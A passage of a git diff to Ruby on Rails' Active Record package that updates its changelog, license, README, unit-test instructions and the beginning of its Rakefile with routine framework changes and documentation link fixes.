-    *Ryuta Kamizono*
-
-*   Remove deprecated `#use_transactional_fixtures` configuration.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `#raise_in_transactional_callbacks` configuration.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `#load_schema_for`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated conditions parameter from `#destroy_all` and `#delete_all`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support to passing arguments to `#select` when a block is provided.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support to query using commas on LIMIT.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support to passing a class as a value in a query.
-
-    *Rafael Mendonça França*
-
-*   Raise `ActiveRecord::IrreversibleOrderError` when using `last` with an irreversible
-    order.
-
-    *Rafael Mendonça França*
-
-*   Raise when a `has_many :through` association has an ambiguous reflection name.
-
-    *Rafael Mendonça França*
-
-*   Raise when `ActiveRecord::Migration` is inherited from directly.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `original_exception` argument in `ActiveRecord::StatementInvalid#initialize`
-    and `ActiveRecord::StatementInvalid#original_exception`.
-
-    *Rafael Mendonça França*
-
-*   `#tables` and `#table_exists?` return only tables and not views.
-
-    All the deprecations on those methods were removed.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `name` argument from `#tables`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support to passing a column to `#quote`.
-
-    *Rafael Mendonça França*
-
-*   Set `:time` as a timezone aware type and remove deprecation when
-    `config.active_record.time_zone_aware_types` is not explicitly set.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated force reload argument in singular and collection association readers.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `activerecord.errors.messages.restrict_dependent_destroy.one` and
-    `activerecord.errors.messages.restrict_dependent_destroy.many` i18n scopes.
-
-    *Rafael Mendonça França*
-
-*   Allow passing extra flags to `db:structure:load` and `db:structure:dump`
-
-    Introduces `ActiveRecord::Tasks::DatabaseTasks.structure_(load|dump)_flags` to customize the
-    eventual commands run against the database, e.g. mysqldump/pg_dump.
-
-    *Kir Shatrov*
-
-*   Notifications see frozen SQL string.
-
-    Fixes #23774.
-
-    *Richard Monette*
-
-*   RuntimeErrors are no longer translated to `ActiveRecord::StatementInvalid`.
-
-    *Richard Monette*
-
-*   Change the schema cache format to use YAML instead of Marshal.
+    Additionally, extending the change in [#55549](https://github.com/rails/rails/pull/55549)
+    to handle `requires_new: true`.
 
     *Kir Shatrov*
 
-*   Support index length and order options using both string and symbol
-    column names.
-
-    Fixes #27243.
-
-    *Ryuta Kamizono*
-
-*   Raise `ActiveRecord::RangeError` when values that executed are out of range.
-
-    *Ryuta Kamizono*
-
-*   Raise `ActiveRecord::NotNullViolation` when a record cannot be inserted
-    or updated because it would violate a not null constraint.
-
-    *Ryuta Kamizono*
-
-*   Emulate db trigger behaviour for after_commit :destroy, :update.
-
-    Race conditions can occur when an ActiveRecord is destroyed
-    twice or destroyed and updated. The callbacks should only be
-    triggered once, similar to a SQL database trigger.
-
-    *Stefan Budeanu*
-
-*   Moved `DecimalWithoutScale`, `Text`, and `UnsignedInteger` from Active Model to Active Record.
-
-    *Iain Beeston*
-
-*   Fix `write_attribute` method to check whether an attribute is aliased or not, and
-    use the aliased attribute name if needed.
-
-    *Prathamesh Sonpatki*
-
-*   Fix `read_attribute` method to check whether an attribute is aliased or not, and
-    use the aliased attribute name if needed.
-
-    Fixes #26417.
-
-    *Prathamesh Sonpatki*
-
-*   PostgreSQL & MySQL: Use big integer as primary key type for new tables.
-
-    *Jon McCartie*, *Pavel Pravosud*
-
-*   Change the type argument of `ActiveRecord::Base#attribute` to be optional.
-    The default is now `ActiveRecord::Type::Value.new`, which provides no type
-    casting behavior.
-
-    *Sean Griffin*
-
-*   Don't treat unsigned integers with zerofill as signed.
-
-    Fixes #27125.
-
-    *Ryuta Kamizono*
-
-*   Fix the uniqueness validation scope with a polymorphic association.
-
-    *Sergey Alekseev*
-
-*   Raise `ActiveRecord::RecordNotFound` from collection `*_ids` setters
-    for unknown IDs with a better error message.
-
-    Changes the collection `*_ids` setters to cast provided IDs the data
-    type of the primary key set in the association, not the model
-    primary key.
-
-    *Dominic Cleal*
-
-*   For PostgreSQL >= 9.4 use `pgcrypto`'s `gen_random_uuid()` instead of
-    `uuid-ossp`'s UUID generation function.
-
-    *Yuji Yaginuma*, *Yaw Boakye*
-
-*   Introduce `Model#reload_<association>` to bring back the behavior
-    of `Article.category(true)` where `category` is a singular
-    association.
-
-    The force reloading of the association reader was deprecated
-    in #20888. Unfortunately the suggested alternative of
-    `article.reload.category` does not expose the same behavior.
-
-    This patch adds a reader method with the prefix `reload_` for
-    singular associations. This method has the same semantics as
-    passing true to the association reader used to have.
-
-    *Yves Senn*
-
-*   Make sure eager loading `ActiveRecord::Associations` also loads
-    constants defined in `ActiveRecord::Associations::Preloader`.
-
-    *Yves Senn*
-
-*   Allow `ActionController::Parameters`-like objects to be passed as
-    values for Postgres HStore columns.
-
-    Fixes #26904.
-
-    *Jon Moss*
-
-*   Added `stat` method to `ActiveRecord::ConnectionAdapters::ConnectionPool`.
-
-    Example:
-
-        ActiveRecord::Base.connection_pool.stat # =>
-        { size: 15, connections: 1, busy: 1, dead: 0, idle: 0, waiting: 0, checkout_timeout: 5 }
-
-    *Pavel Evstigneev*
-
-*   Avoid `unscope(:order)` when `limit_value` is presented for `count`
-    and `exists?`.
-
-    If `limit_value` is presented, records fetching order is very important
-    for performance. We should not unscope the order in the case.
-
-    *Ryuta Kamizono*
-
-*   Fix an Active Record `DateTime` field `NoMethodError` caused by incomplete
-    datetime.
-
-    Fixes #24195.
-
-    *Sen Zhang*
-
-*   Allow `slice` to take an array of methods(without the need for splatting).
-
-    *Cohen Carlisle*
+*   Allow `schema_dump` configuration to be an absolute path.
 
-*   Improved partial writes with HABTM and has many through associations
-    to fire database query only if relation has been changed.
+    Previously, the `schema_dump` configuration was always joined with the
+    `db_dir` path. Now, if an absolute path is provided, it will be used as-is.
 
-    Fixes #19663.
+    *Mike Dalessio*
 
-    *Mehmet Emin İNAÇ*
+*   Decode PostgreSQL bytea and money columns when they appear in direct
+    query results.
 
-*   Deprecate passing arguments and block at the same time to
-    `ActiveRecord::QueryMethods#select`.
+    bytea columns are now decoded to binary-encoded Strings, and money columns
+    are decoded to BigDecimal instead of String.
 
-    *Prathamesh Sonpatki*
+    ```ruby
+    ActiveRecord::Base.connection
+         .select_value("select '\\x48656c6c6f'::bytea").encoding #=> Encoding::BINARY
 
-*   Optimistic locking: Added ability to update `locking_column` value.
-    Ignore optimistic locking if trying to update with new `locking_column` value.
+    ActiveRecord::Base.connection
+         .select_value("select '12.34'::money").class #=> BigDecimal
+    ```
 
-    *bogdanvlviv*
-
-*   Fixed: Optimistic locking does not work well with `null` in the database.
-
-    Fixes #26024.
-
-    *bogdanvlviv*
-
-*   Fixed support for case insensitive comparisons of `text` columns in
-    PostgreSQL.
-
-    *Edho Arief*
-
-*   Serialize JSON attribute value `nil` as SQL `NULL`, not JSON `null`.
-
-    *Trung Duc Tran*
-
-*   Return `true` from `update_attribute` when the value of the attribute
-    to be updated is unchanged.
-
-    Fixes #26593.
-
-    *Prathamesh Sonpatki*
-
-*   Always store errors details information with symbols.
-
-    When the association is autosaved we were storing the details with
-    string keys. This was creating inconsistency with other details that are
-    added using the `Errors#add` method. It was also inconsistent with the
-    `Errors#messages` storage.
-
-    To fix this inconsistency we are always storing with symbols. This will
-    cause a small breaking change because in those cases the details could
-    be accessed as strings keys but now it can not.
-
-    Fix #26499.
-
-    *Rafael Mendonça França*, *Marcus Vieira*
-
-*   Calling `touch` on a model using optimistic locking will now leave the model
-    in a non-dirty state with no attribute changes.
-
-    Fixes #26496.
-
-    *Jakob Skjerning*
-
-*   Using a mysql2 connection after it fails to reconnect will now have an error message
-    saying the connection is closed rather than an undefined method error message.
-
-    *Dylan Thacker-Smith*
-
-*   PostgreSQL array columns will now respect the encoding of strings contained
-    in the array.
-
-    Fixes #26326.
-
-    *Sean Griffin*
-
-*   Inverse association instances will now be set before `after_find` or
-    `after_initialize` callbacks are run.
-
-    Fixes #26320.
-
-    *Sean Griffin*
-
-*   Remove unnecessarily association load when a `belongs_to` association has already been
-    loaded then the foreign key is changed directly and the record saved.
-
-    *James Coleman*
-
-*   Remove standardized column types/arguments spaces in schema dump.
-
-    *Tim Petricola*
-
-*   Avoid loading records from database when they are already loaded using
-    the `pluck` method on a collection.
-
-    Fixes #25921.
-
-    *Ryuta Kamizono*
-
-*   Remove text default treated as an empty string in non-strict mode for
-    consistency with other types.
-
-    Strict mode controls how MySQL handles invalid or missing values in
-    data-change statements such as INSERT or UPDATE. If strict mode is not
-    in effect, MySQL inserts adjusted values for invalid or missing values
-    and produces warnings.
-
-        def test_mysql_not_null_defaults_non_strict
-          using_strict(false) do
-            with_mysql_not_null_table do |klass|
-              record = klass.new
-              assert_nil record.non_null_integer
-              assert_nil record.non_null_string
-              assert_nil record.non_null_text
-              assert_nil record.non_null_blob
-
-              record.save!
-              record.reload
-
-              assert_equal 0,  record.non_null_integer
-              assert_equal "", record.non_null_string
-              assert_equal "", record.non_null_text
-              assert_equal "", record.non_null_blob
-            end
-          end
-        end
-
-    https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html#sql-mode-strict
-
-    *Ryuta Kamizono*
-
-*   SQLite3 migrations to add a column to an existing table can now be
-    successfully rolled back when the column was given and invalid column
-    type.
-
-    Fixes #26087.
-
-    *Travis O'Neill*
-
-*   Deprecate `sanitize_conditions`. Use `sanitize_sql` instead.
-
-    *Ryuta Kamizono*
-
-*   Doing count on relations that contain LEFT OUTER JOIN Arel node no longer
-    force a DISTINCT. This solves issues when using count after a left_joins.
-
-    *Maxime Handfield Lapointe*
-
-*   RecordNotFound raised by association.find exposes `id`, `primary_key` and
-    `model` methods to be consistent with RecordNotFound raised by Record.find.
-
-    *Michel Pigassou*
-
-*   Hashes can once again be passed to setters of `composed_of`, if all of the
-    mapping methods are methods implemented on `Hash`.
-
-    Fixes #25978.
-
-    *Sean Griffin*
+    *Matthew Draper*
 
-*   Fix the SELECT statement in `#table_comment` for MySQL.
+*   Add support for configuring migration strategy on a per-adapter basis.
 
-    *Takeshi Akima*
+    `migration_strategy` can now be set on individual adapter classes, overriding
+    the global `ActiveRecord.migration_strategy`. This allows individual databases to
+    customize migration execution logic:
 
-*   Virtual attributes will no longer raise when read on models loaded from the
-    database.
+    ```ruby
+    class CustomPostgresStrategy < ActiveRecord::Migration::DefaultStrategy
+      def drop_table(*)
+        # Custom logic specific to PostgreSQL
+      end
+    end
 
-    *Sean Griffin*
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.migration_strategy = CustomPostgresStrategy
+    ```
 
-*   Support calling the method `merge` in `scope`'s lambda.
+    *Adrianna Chang*
 
-    *Yasuhiro Sugino*
+*   Allow either explain format syntax for EXPLAIN queries.
 
-*   Fixes multi-parameter attributes conversion with invalid params.
+    MySQL uses FORMAT=JSON whereas Postgres uses FORMAT JSON. We should be
+    able to accept both formats as options.
 
-    *Hiroyuki Ishii*
+    *Gannon McGibbon*
 
-*   Add newline between each migration in `structure.sql`.
+*   On MySQL parallel test database table reset to use `DELETE` instead of `TRUNCATE`.
 
-    Keeps schema migration inserts as a single commit, but allows for easier
-    git diffing.
+    Truncating on MySQL is very slow even on empty or nearly empty tables.
 
-    Fixes #25504.
+    As a result of this change auto increment counters are now no longer reset between test
+    runs on MySQL and the `SKIP_TEST_DATABASE_TRUNCATE` environment variable no longer has
+    any effect.
 
-    *Grey Baker*, *Norberto Lopes*
+    *Donal McBreen*
 
-*   The flag `error_on_ignored_order_or_limit` has been deprecated in favor of
-    the current `error_on_ignored_order`.
+*   Fix inconsistency in PostgreSQL handling of unbounded time range types
 
-    *Xavier Noria*
+    Use `-infinity` rather than `NULL` for the lower value of PostgreSQL time
+    ranges when saving records with a Ruby range that begins with `nil`.
 
-*   Batch processing methods support `limit`:
+    ```ruby
+    create_table :products do |t|
+      t.tsrange :period
+    end
+    class Product < ActiveRecord::Base; end
 
-        Post.limit(10_000).find_each do |post|
-          # ...
-        end
+    t = Time.utc(2000)
 
-    It also works in `find_in_batches` and `in_batches`.
+    Product.create(period: t...nil)
+    Product.create(period: nil...t)
+    ```
 
-    *Xavier Noria*
+    Previously this would create two records using different values to represent
+    lower-unbounded and upper-unbounded ranges.
 
-*   Using `group` with an attribute that has a custom type will properly cast
-    the hash keys after calling a calculation method like `count`.
+    ```
+    ["2000-01-01 00:00:00",infinity)
+    (NULL,"2000-01-01 00:00:00")
+    ```
 
-    Fixes #25595.
+    Now both will use `-infinity`/`infinity` which are handled differently than
+    `NULL` by some PostgreSQL range operators (e.g., `lower_inf`) and support
+    both exclusive and inclusive bounds.
 
-    *Sean Griffin*
+    ```
+    ["2000-01-01 00:00:00",infinity)
+    [-infinity,"2000-01-01 00:00:00")
+    ```
 
-*   Fix the generated `#to_param` method to use `omission: ''` so that
-    the resulting output is actually up to 20 characters, not
-    effectively 17 to leave room for the default "...".
-    Also call `#parameterize` before `#truncate` and make the
-    `separator: /-/` to maximize the information included in the
-    output.
+    *Martin-Alexander*
 
-    Fixes #23635.
+*   Database-specific shard swap prohibition
 
-    *Rob Biedenharn*
+    In #43485 (v7.0.0), shard swapping prohibition was introduced as a global
+    switch that applied to all databases.
 
-*   Ensure concurrent invocations of the connection reaper cannot allocate the
-    same connection to two threads.
+    For the use case of a multi-database application, the global prohibition is
+    overly broad, and so with this change the method `prohibit_shard_swapping`
+    will scope the prohibition to the same connection class (i.e.,
+    `connection_specification_name`). This allows an application to prohibit
+    shard swapping on a specific database while allowing it on all others.
 
-    Fixes #25585.
+    *Mike Dalessio*
 
-    *Matthew Draper*
+*   Fix upsert_all when using repeated timestamp attributes.
 
-*   Inspecting an object with an associated array of over 10 elements no longer
-    truncates the array, preventing `inspect` from looping infinitely in some
-    cases.
+    *Gannon McGibbon*
 
-    *Kevin McPhillips*
+*   PostgreSQL enable drop database FORCE option.
 
-*   Removed the unused methods `ActiveRecord::Base.connection_id` and
-    `ActiveRecord::Base.connection_id=`.
+    One of the benefits of developing with MySQL is that it allows dropping the
+    current database without first disconnecting clients. As a result developers
+    can use `bin/rails db:reset` and similar, without first shutting down
+    instances of the app, Rails consoles, background workers, etc. By default
+    PostgreSQL fails to drop a database when clients are connected and displays
+    the following error:
 
-    *Sean Griffin*
+      > PG::ObjectInUse: ERROR:  database "xyz" is being accessed by other users (PG::ObjectInUse)
 
-*   Ensure hashes can be assigned to attributes created using `composed_of`.
+    This is frustrating when working in development where the database may be
+    dropped frequently.
 
-    Fixes #25210.
+    PostgreSQL 13 added the `FORCE` option to the `DROP DATABASE` statement
+    ([PostgreSQL docs](https://www.postgresql.org/docs/current/sql-dropdatabase.html))
+    which automatically disconnects clients before dropping the database.
+    This option is automatically enabled for supported PostgreSQL versions.
 
-    *Sean Griffin*
+    *Steven Webb*
 
-*   Fix logging edge case where if an attribute was of the binary type and
-    was provided as a Hash.
+*   Raise specific exception when a prohibited shard change is attempted.
 
-    *Jon Moss*
+    The new `ShardSwapProhibitedError` exception allows applications and
+    connection-related libraries to more easily recover from this specific
+    scenario. Previously an `ArgumentError` was raised, so the new exception
+    subclasses `ArgumentError` for backwards compatibility.
 
-*   Handle JSON deserialization correctly if the column default from database
-    adapter returns `''` instead of `nil`.
+    *Mike Dalessio*
 
-    *Johannes Opper*
+*   Fix SQLite3 data loss during table alterations with CASCADE foreign keys.
 
-*   Introduce `ActiveRecord::TransactionSerializationError` for catching
-    transaction serialization failures or deadlocks.
+    When altering a table in SQLite3 that is referenced by child tables with
+    `ON DELETE CASCADE` foreign keys, ActiveRecord would silently delete all
+    data from the child tables. This occurred because SQLite requires table
+    recreation for schema changes, and during this process the original table
+    is temporarily dropped, triggering CASCADE deletes on child tables.
 
-    *Erol Fornoles*
+    The root cause was incorrect ordering of operations. The original code
+    wrapped `disable_referential_integrity` inside a transaction, but
+    `PRAGMA foreign_keys` cannot be modified inside a transaction in SQLite -
+    attempting to do so simply has no effect. This meant foreign keys remained
+    enabled during table recreation, causing CASCADE deletes to fire.
 
-*   PostgreSQL: Fix `db:structure:load` silent failure on SQL error.
+    The fix reverses the order to follow the official SQLite 12-step ALTER TABLE
+    procedure: `disable_referential_integrity` now wraps the transaction instead
+    of being wrapped by it. This ensures foreign keys are properly disabled
+    before the transaction starts and re-enabled after it commits, preventing
+    CASCADE deletes while maintaining data integrity through atomic transactions.
 
-    The command line flag `-v ON_ERROR_STOP=1` should be used
-    when invoking `psql` to make sure errors are not suppressed.
+    *Ruy Rocha*
 
-    Example:
+*   Fix negative scopes for enums to include records with `nil` values.
 
-        psql -v ON_ERROR_STOP=1 -q -f awesome-file.sql my-app-db
+    *fatkodima*
 
-    Fixes #23818.
+*   Improve support for SQLite database URIs.
 
-    *Ralin Chimev*
+    The `db:create` and `db:drop` tasks now correctly handle SQLite database URIs, and the
+    SQLite3Adapter will create the parent directory if it does not exist.
 
+    *Mike Dalessio*
 
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/activerecord/CHANGELOG.md) for previous changes.
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
index f9e4444f0774c..5b86109107781 100644
--- a/activerecord/MIT-LICENSE
+++ b/activerecord/MIT-LICENSE
@@ -1,4 +1,6 @@
-Copyright (c) 2004-2017 David Heinemeier Hansson
+Copyright (c) David Heinemeier Hansson
+
+Arel originally copyright (c) 2007-2016 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc
index cfbee4d6f7636..0cd5750f69377 100644
--- a/activerecord/README.rdoc
+++ b/activerecord/README.rdoc
@@ -1,4 +1,4 @@
-= Active Record -- Object-relational mapping in Rails
+= Active Record -- Object-relational mapping in \Rails
 
 Active Record connects classes to relational database tables to establish an
 almost zero-configuration persistence layer for applications. The library
@@ -13,27 +13,28 @@ columns. Although these mappings can be defined explicitly, it's recommended
 to follow naming conventions, especially when getting started with the
 library.
 
+You can read more about Active Record in the {Active Record Basics}[https://guides.rubyonrails.org/active_record_basics.html] guide.
+
 A short rundown of some of the major features:
 
 * Automated mapping between classes and tables, attributes and columns.
 
-   class Product < ActiveRecord::Base
-   end
-
-  {Learn more}[link:classes/ActiveRecord/Base.html]
+    class Product < ActiveRecord::Base
+    end
 
-The Product class is automatically mapped to the table named "products",
-which might look like this:
+  The Product class is automatically mapped to the table named "products",
+  which might look like this:
 
-   CREATE TABLE products (
-     id int NOT NULL auto_increment,
-     name varchar(255),
-     PRIMARY KEY  (id)
-   );
+    CREATE TABLE products (
+      id bigint NOT NULL auto_increment,
+      name varchar(255),
+      PRIMARY KEY  (id)
+    );
 
-This would also define the following accessors: <tt>Product#name</tt> and
-<tt>Product#name=(new_name)</tt>.
+  This would also define the following accessors: <tt>Product#name</tt> and
+  <tt>Product#name=(new_name)</tt>.
 
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Base.html]
 
 * Associations between objects defined by simple class methods.
 
@@ -43,7 +44,7 @@ This would also define the following accessors: <tt>Product#name</tt> and
      belongs_to :conglomerate
    end
 
-  {Learn more}[link:classes/ActiveRecord/Associations/ClassMethods.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html]
 
 
 * Aggregations of value objects.
@@ -55,7 +56,7 @@ This would also define the following accessors: <tt>Product#name</tt> and
                  mapping: [%w(address_street street), %w(address_city city)]
    end
 
-  {Learn more}[link:classes/ActiveRecord/Aggregations/ClassMethods.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Aggregations/ClassMethods.html]
 
 
 * Validation rules that can differ for new or existing objects.
@@ -67,7 +68,7 @@ This would also define the following accessors: <tt>Product#name</tt> and
       validates :password, :email_address, confirmation: true, on: :create
     end
 
-  {Learn more}[link:classes/ActiveRecord/Validations.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Validations.html]
 
 
 * Callbacks available for the entire life cycle (instantiation, saving, destroying, validating, etc.).
@@ -77,7 +78,7 @@ This would also define the following accessors: <tt>Product#name</tt> and
      # the `invalidate_payment_plan` method gets called just before Person#destroy
    end
 
-  {Learn more}[link:classes/ActiveRecord/Callbacks.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Callbacks.html]
 
 
 * Inheritance hierarchies.
@@ -87,7 +88,7 @@ This would also define the following accessors: <tt>Product#name</tt> and
    class Client < Company; end
    class PriorityClient < Client; end
 
-  {Learn more}[link:classes/ActiveRecord/Base.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Base.html]
 
 
 * Transactions.
@@ -98,7 +99,7 @@ This would also define the following accessors: <tt>Product#name</tt> and
       mary.deposit(100)
     end
 
-  {Learn more}[link:classes/ActiveRecord/Transactions/ClassMethods.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html]
 
 
 * Reflections on columns, associations, and aggregations.
@@ -107,7 +108,7 @@ This would also define the following accessors: <tt>Product#name</tt> and
     reflection.klass # => Client (class)
     Firm.columns # Returns an array of column descriptors for the firms table
 
-  {Learn more}[link:classes/ActiveRecord/Reflection/ClassMethods.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Reflection/ClassMethods.html]
 
 
 * Database abstraction through simple adapters.
@@ -124,13 +125,13 @@ This would also define the following accessors: <tt>Product#name</tt> and
       database: 'activerecord'
     )
 
-  {Learn more}[link:classes/ActiveRecord/Base.html] and read about the built-in support for
-  MySQL[link:classes/ActiveRecord/ConnectionAdapters/Mysql2Adapter.html],
-  PostgreSQL[link:classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html], and
-  SQLite3[link:classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html].
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Base.html] and read about the built-in support for
+  MySQL[https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Mysql2Adapter.html],
+  PostgreSQL[https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/PostgreSQLAdapter.html], and
+  SQLite3[https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html].
 
 
-* Logging support for Log4r[https://github.com/colbygk/log4r] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
+* Logging support for Log4r[https://github.com/colbygk/log4r] and Logger[https://docs.ruby-lang.org/en/master/Logger.html].
 
     ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)
     ActiveRecord::Base.logger = Log4r::Logger.new('Application Log')
@@ -138,7 +139,7 @@ This would also define the following accessors: <tt>Product#name</tt> and
 
 * Database agnostic schema management with Migrations.
 
-    class AddSystemSettings < ActiveRecord::Migration[5.0]
+    class AddSystemSettings < ActiveRecord::Migration[8.2]
       def up
         create_table :system_settings do |t|
           t.string  :name
@@ -156,15 +157,16 @@ This would also define the following accessors: <tt>Product#name</tt> and
       end
     end
 
-  {Learn more}[link:classes/ActiveRecord/Migration.html]
+  {Learn more}[https://api.rubyonrails.org/classes/ActiveRecord/Migration.html]
 
 
 == Philosophy
 
 Active Record is an implementation of the object-relational mapping (ORM)
-pattern[http://www.martinfowler.com/eaaCatalog/activeRecord.html] by the same
+pattern[https://www.martinfowler.com/eaaCatalog/activeRecord.html] by the same
 name described by Martin Fowler:
 
+>>>
   "An object that wraps a row in a database table or view,
   encapsulates the database access, and adds domain logic on that data."
 
@@ -190,28 +192,28 @@ The latest version of Active Record can be installed with RubyGems:
 
   $ gem install activerecord
 
-Source code can be downloaded as part of the Rails project on GitHub:
+Source code can be downloaded as part of the \Rails project on GitHub:
 
-* https://github.com/rails/rails/tree/master/activerecord
+* https://github.com/rails/rails/tree/main/activerecord
 
 
 == License
 
 Active Record is released under the MIT license:
 
-* http://www.opensource.org/licenses/MIT
+* https://opensource.org/licenses/MIT
 
 
 == Support
 
 API documentation is at:
 
-* http://api.rubyonrails.org
+* https://api.rubyonrails.org
 
-Bug reports can be filed for the Ruby on Rails project here:
+Bug reports for the Ruby on \Rails project can be filed here:
 
 * https://github.com/rails/rails/issues
 
-Feature requests should be discussed on the rails-core mailing list here:
+Feature requests should be discussed on the rubyonrails-core forum here:
 
-* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/activerecord/RUNNING_UNIT_TESTS.rdoc b/activerecord/RUNNING_UNIT_TESTS.rdoc
index cd22f76d01fdb..a048463edd15a 100644
--- a/activerecord/RUNNING_UNIT_TESTS.rdoc
+++ b/activerecord/RUNNING_UNIT_TESTS.rdoc
@@ -1,7 +1,7 @@
 == Setup
 
 If you don't have an environment for running tests, read
-http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#setting-up-a-development-environment
+https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#setting-up-a-development-environment
 
 == Running the Tests
 
@@ -21,6 +21,7 @@ example:
 Simply executing <tt>bundle exec rake test</tt> is equivalent to the following:
 
   $ bundle exec rake test:mysql2
+  $ bundle exec rake test:trilogy
   $ bundle exec rake test:postgresql
   $ bundle exec rake test:sqlite3
 
@@ -33,6 +34,14 @@ There should be tests available for each database backend listed in the {Config
 File}[rdoc-label:label-Config+File]. (the exact set of available tests is
 defined in +Rakefile+)
 
+There are some performance tests for the encryption system that can be run with.
+
+  $ rake test:encryption:performance:mysql2
+  $ rake test:integration:active_job:postgresql
+  $ rake test:encryption:performance:sqlite3
+
+These performance tests are not executed as part of the regular testing tasks.
+
 == Config File
 
 If +test/config.yml+ is present, then its parameters are obeyed; otherwise, the
@@ -43,5 +52,9 @@ You can override the +connections:+ parameter in either file using the +ARCONN+
 
   $ ARCONN=postgresql bundle exec ruby -Itest test/cases/base_test.rb
 
+Or
+
+  $ bundle exec rake test:postgresql TEST=test/cases/base_test.rb
+
 You can specify a custom location for the config file using the +ARCONFIG+
 environment variable.
diff --git a/activerecord/Rakefile b/activerecord/Rakefile
index 7be3d851f1d16..74650676883bd 100644
--- a/activerecord/Rakefile
+++ b/activerecord/Rakefile
@@ -1,73 +1,216 @@
+# frozen_string_literal: true
+
+require "shellwords"
 require "rake/testtask"
 
-require File.expand_path(File.dirname(__FILE__)) + "/test/config"
-require File.expand_path(File.dirname(__FILE__)) + "/test/support/config"
+require_relative "test/config"
+require_relative "test/support/config"
 
 def run_without_aborting(*tasks)
   errors = []
 
   tasks.each do |task|
-    begin
-      Rake::Task[task].invoke
-    rescue Exception
-      errors << task
-    end
+    Rake::Task[task].invoke
+  rescue Exception
+    errors << task
   end
 
   abort "Errors running #{errors.join(', ')}" if errors.any?
 end
 
-desc "Run mysql2, sqlite, and postgresql tests by default"
+desc "Run mysql2, trilogy, sqlite, and postgresql tests by default"
 task default: :test
 
-task :package
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
 
-desc "Run mysql2, sqlite, and postgresql tests"
+desc "Run mysql2, trilogy, sqlite, and postgresql tests"
 task :test do
   tasks = defined?(JRUBY_VERSION) ?
     %w(test_jdbcmysql test_jdbcsqlite3 test_jdbcpostgresql) :
-    %w(test_mysql2 test_sqlite3 test_postgresql)
+    %w(test_mysql2 test_trilogy test_sqlite3 test_postgresql)
   run_without_aborting(*tasks)
 end
 
+adapters = %w( mysql2 trilogy postgresql sqlite3 sqlite3_mem )
+
 namespace :test do
-  task :isolated do
+  task isolated: :railties do
     tasks = defined?(JRUBY_VERSION) ?
       %w(isolated_test_jdbcmysql isolated_test_jdbcsqlite3 isolated_test_jdbcpostgresql) :
-      %w(isolated_test_mysql2 isolated_test_sqlite3 isolated_test_postgresql)
+      %w(isolated_test_mysql2 isolated_test_trilogy isolated_test_sqlite3 isolated_test_postgresql)
     run_without_aborting(*tasks)
   end
+
+  task :railties do
+    ["active_record/railtie"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
+    end || raise("Failures")
+  end
+
+  desc "Run Active Job integration tests for all adapters"
+  task "integration:active_job" do
+    errors = []
+    adapters.each do |adapter|
+      Rake::Task["test:integration:active_job:#{adapter}"].invoke
+    rescue Exception
+      errors << adapter
+    end
+    abort "Errors running integration for #{errors.join(', ')}" if errors.any?
+  end
+
+  Rake::TestTask.new(:arel) do |t|
+    t.libs << "test"
+    t.test_files = FileList["test/cases/arel/**/*_test.rb"]
+
+    t.warning = true
+    t.verbose = true
+    t.options = "--profile" if ENV["CI"]
+  end
 end
 
-desc "Build MySQL and PostgreSQL test databases"
 namespace :db do
+  desc "Build MySQL and PostgreSQL test databases"
   task create: ["db:mysql:build", "db:postgresql:build"]
+
+  desc "Drop MySQL and PostgreSQL test databases"
   task drop: ["db:mysql:drop", "db:postgresql:drop"]
 end
 
-%w( mysql2 postgresql sqlite3 sqlite3_mem db2 oracle jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter|
+adapters.each do |adapter|
   namespace :test do
-    Rake::TestTask.new(adapter => "#{adapter}:env") { |t|
-      adapter_short = adapter == "db2" ? adapter : adapter[/^[a-z0-9]+/]
+    Rake::TestTask.new(adapter => "#{adapter}:env") do |t|
+      adapter_short = adapter[/^[a-z0-9]+/]
       t.libs << "test"
-      t.test_files = (Dir.glob("test/cases/**/*_test.rb").reject {
-        |x| x.include?("/adapters/")
